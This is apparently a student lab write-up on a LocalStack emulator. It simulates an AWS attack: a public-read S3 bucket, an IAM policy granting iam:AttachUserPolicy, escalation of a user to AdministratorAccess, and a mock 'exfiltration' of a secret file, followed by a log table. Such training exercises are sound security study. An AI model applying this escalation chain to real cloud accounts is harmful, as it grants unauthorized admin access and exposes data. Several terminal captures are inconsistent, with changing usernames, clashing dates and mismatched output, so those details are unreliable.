





Start Localstack by command :

*Localstack start -d*

```
(venv)-(ajay@kali)-[~/Desktop/CyArt]
$ localstack start -d

LocalStack
- LocalStack CLI: 4.8.0
- Profile: default
- App: https://app.localstack.cloud

[16:02:59] starting LocalStack in Docker mode 🐳
preparing environment
configuring container
container image not found on host
[16:04:25] download complete
starting container
[16:04:28] detaching

(venv)-(ajay@kali)-[~/Desktop/CyArt]
$
```

Fig 1.2 Localstack start

After starting of localstack we have to start virtual env (venv)

*Python3 -m venv venv*

And configure AWS credentials (Local Stack doesn't check real) so we can use any details.

```
(venv)-(ajay@kali)-[~/Desktop/CyArt]
$ aws configure
AWS Access Key ID [None]: access1
AWS Secret Access Key [None]: access1
Default region name [None]: india
Default output format [None]: json

(venv)-(ajay@kali)-[~/Desktop/CyArt]
$
```



Fig 1.3 Configure aws

Now recon of cloud s3

So first we create a bucket

We can name it anything as we wish.

*awslocal s3 mb s3://vulnerable-bucket*

```
ben@kali:~/Desktop/Cyart$ awslocal s3 mb s3://vulnerable-bucket
make_bucket: vulnerable-bucket
ben@kali:~/Desktop/Cyart$ awslocal s3api put-object --bucket vulnerable-bucket --key public-read
ben@kali:~/Desktop/Cyart$ awslocal s3 ls
2020-09-18 17:00:00 vulnerable-bucket/
ben@kali:~/Desktop/Cyart$
```

Fig 1.3 creation of bucket

Now Next step is simulate privilege Escalation

First we create a low-privilege IAM user:

Also we attack a vulnerable policy with it.

Cat>privesc-policy.json<<EOF



```
...[jays@kali:~/Desktop/CyArt]
$ awslocal s3 cp s3://vulnerable-bucket
make_bucket: vulnerable-bucket

...[jays@kali:~/Desktop/CyArt]
$ awslocal s3api put-bucket-acl --bucket vulnerable-bucket --acl public-read

...[jays@kali:~/Desktop/CyArt]
$ awslocal s3 ls
2023-09-16 17:08:04 vulnerable-bucket

...[jays@kali:~/Desktop/CyArt]
$ awslocal iam create-user --user-name ajay
{
  "User": {
    "Path": "/",
    "UserName": "ajay",
    "UserId": "a9d0d0b2132500f8p",
    "Arn": "arn:aws:iam::333333333333:user/ajay",
    "CreateDate": "2023-09-16T17:11:37.287Z",
    "LastModifiedDate": "2023-09-16T17:11:37.287Z"
  }
}

...[jays@kali:~/Desktop/CyArt]
$ cat > policy.json <EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:AttachUserPolicy",
      "Resource": "*"
    }
  ]
}
EOF

...[jays@kali:~/Desktop/CyArt]
$ ls
kali.exe  hup3  hup3.1  hup3.error.log  ftp_scan.txt  output.exe  policy.json  PyWin32  sub.txt  suspicious_powershell.yml  vms  vsftpd_attack.pcap

...[jays@kali:~/Desktop/CyArt]
$ cat policy.json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:AttachUserPolicy",
      "Resource": "*"
    }
  ]
}

...[jays@kali:~/Desktop/CyArt]
$ ls - policy.json
-rw-r--r-- 1 ajay ajay 324 Sep 16 17:11 policy.json

...[jays@kali:~/Desktop/CyArt]
$ cat policy.json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:AttachUserPolicy",
      "Resource": "*"
    }
  ]
}

...[jays@kali:~/Desktop/CyArt]
$
```

Fig 1.4 Creating IAM policy json script

After this we have to give Privilege escalation and admin access.

*awslocal iam attach-user-policy --user-name attacker --policy-arn  
arn:aws:iam::aws:policy/AdministratorAccess*

```
...[jays@kali:~/Desktop/CyArt]
$ awslocal iam put-user-policy --user-name ajay --policy-name privesc --policy-document file://policy.json

...[jays@kali:~/Desktop/CyArt]
$ awslocal iam attach-user-policy --user-name ajay --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess

usage: aws [options] <command> [<subcommand> ...] [<parameters>]
To see help text, you can run:

aws help
aws <command> help
aws <command> <subcommand> help

aws error: argument --policy-arn: expected one argument
make: *** No such file or directory: arn:aws:iam::aws:policy/AdministratorAccess

...[jays@kali:~/Desktop/CyArt]
$ awslocal iam attach-user-policy --user-name ajay --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

...[jays@kali:~/Desktop/CyArt]
$
```

Fig 1.5 Giving Privilege escalation and admin access



Now we simulate exfiltration

First we put some data in the S3 bucket

Then we upload in bucket.

And last we exfiltrate it.

```
awslocal s3 cp s3://vulnerable-bucket/secret.txt
```

```
(venv)-(ajay@kali)-[~/Desktop/CyArt]
$ echo "TOP_SECRET_DATA">secret.txt

(venv)-(ajay@kali)-[~/Desktop/CyArt]
$ awslocal s3 cp secret.txt s3://vulnerable-bucket/
upload: ./secret.txt to s3://vulnerable-bucket/secret.txt
```

Fig 1.6 Uploading the txt in bucket

```
(venv)-(ajay@kali)-[~/Desktop/CyArt]
$ awslocal s3 cp s3://vulnerable-bucket/secret.txt ./ch.txt
download: s3://vulnerable-bucket/secret.txt to ./ch.txt

(venv)-(ajay@kali)-[~/Desktop/CyArt]
$ ls
calc.exe  ch.txt  Day3  Day4.1  Day5  error.log  ftp_scan.txt  output.exe  policy.json  PyPhisher  secret.txt  sub.txt  suspicious_powershell.yml  venv  vsftpd_attack.pcap

(venv)-(ajay@kali)-[~/Desktop/CyArt]
$ cat ch.txt
TOP_SECRET_DATA

(venv)-(ajay@kali)-[~/Desktop/CyArt]
$
```

Fig 1.7 Downloading it from bucket

## Log Table

Phase	Action	Result
Recon	1. awslocal s3 mb s3://vulnerable- bucket 2. awslocal s3api put- bucket-acl -- bucket vulnerable-bucket --acl public-read	1. Created S3 bucket 2. Public read access enabled 3. Listed available buckets



	3. awslocal s3 ls	
User Creation	awslocal iam create-user -- user- name ajay	New IAM user created
Policy	1. Created privesc- policy.json with iam:AttachUserPolicy permission 2. awslocal iam put-user- policy -- user-name ajay --policy- name privesc -- policy-document file://privesc-policy.json	1. Local file ready 2. Policy attached
Privilege Escalation	awslocal iam attach-user-policy --user-name ajay --policy- arn arn:aws:iam::aws:policy/Admini- stratorAccess	Escalated to admin privileges
Data	1. echo "TOP_SECRET_DATA" > secret.txt && awslocal s3 cp secret.txt s3://vulnerable-bucket/ 2. awslocal s3 cp s3://vulnerable- bucket/secret.txt ./ch.txt && cat ch.txt	1. Mock sensitive data uploaded 2. File successfully 3. downloaded, contents revealed